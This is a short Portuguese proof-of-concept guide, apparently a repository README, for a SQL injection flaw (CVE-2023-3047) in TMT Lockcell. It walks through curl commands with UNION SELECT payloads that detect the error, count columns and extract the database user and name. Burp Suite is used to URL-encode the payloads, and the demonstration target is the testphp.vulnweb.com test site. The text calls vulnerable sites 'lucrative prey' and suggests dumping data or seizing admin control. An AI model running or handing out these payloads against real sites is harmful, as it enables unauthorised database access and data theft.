
Prova de conceito de exploit para a vulnerabilidade de injeção SQL CVE-2023-3047 no TMT Lockcell. Demonstra exploração manual usando cURL e Burp Suite para enumerar usuários e schemas do banco de dados.
@ghostman_s3c ou @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5Neutralização inadequada de elementos especiais usados em um comando SQL ('SQL Injection') vulnerabilidade no TMT Lockcell permite SQL Injection. Este problema afeta o Lockcell: antes da versão 15.
Primeiro vamos verificar se ele tem o erro CVE-2023-3047, agora abra um terminal e certifique-se de que cada terminal suporta a ferramenta cURL
curl <your_url_vulnerable> | grep "at line"
após pressionar Enter, e se exibir como 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 então seu site está sofrendo do erro CVE-2023-3047
ok, a seguir vamos tentar ver se este site bloqueia esses ataques de injeção, tente usar o seguinte comando e tente
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
e pressione Enter, se exibir como a imagem abaixo, então você tem uma presa lucrativa
E agora você deve continuar o payload union select de 1 até um certo número que seja considerado válido para o número de colunas do site mysql.
ok, meu objetivo tem um número de colunas válido de 1 a 11, na imagem abaixo, 2 resultados completamente diferentes, acima ainda tem The used SELECT, e abaixo não.
E agora, vou ao Google e verifico, vejo se é válido com os resultados acima ou não, e convenientemente, obtenho outro número do qual posso obter informações.
Bem, parece que é um resultado completamente válido, e há 3 números que podemos injetar para obter informações.
e agora, vamos praticar a injeção de comandos SQL para obter informações dele
e usaremos o payload : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
opa, parece que este comando não é muito bom, porque não codificamos o payload em uma URL
e agora minha tarefa é codificar esse payload em um caminho de URL para continuar o ataque cibernético
Usaremos Burp Suite para codificá-los
Agora selecione Decoder, depois selecione Encode as no lado esquerdo da tela, então selecione URL e insira seu payload. Quanto ao meu erro acima, ele tem caracteres especiais como : (, ) neles. Não atende aos requisitos suficientes, então vou apenas codificar o comando insert para obter informações do banco de dados
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
e após pressionar Enter, e esse é o fim do jogo, o nome de usuário e o banco de dados foram expostos, não só isso, os hackers podem injetar outros payloads para obter mais informações deles, por exemplo, despejar os dados base para roubar informações ou obter controle do administrador do site
Então, o jogo acabou, o nome de usuário é acuart@localhost e o nome do banco de dados é acuart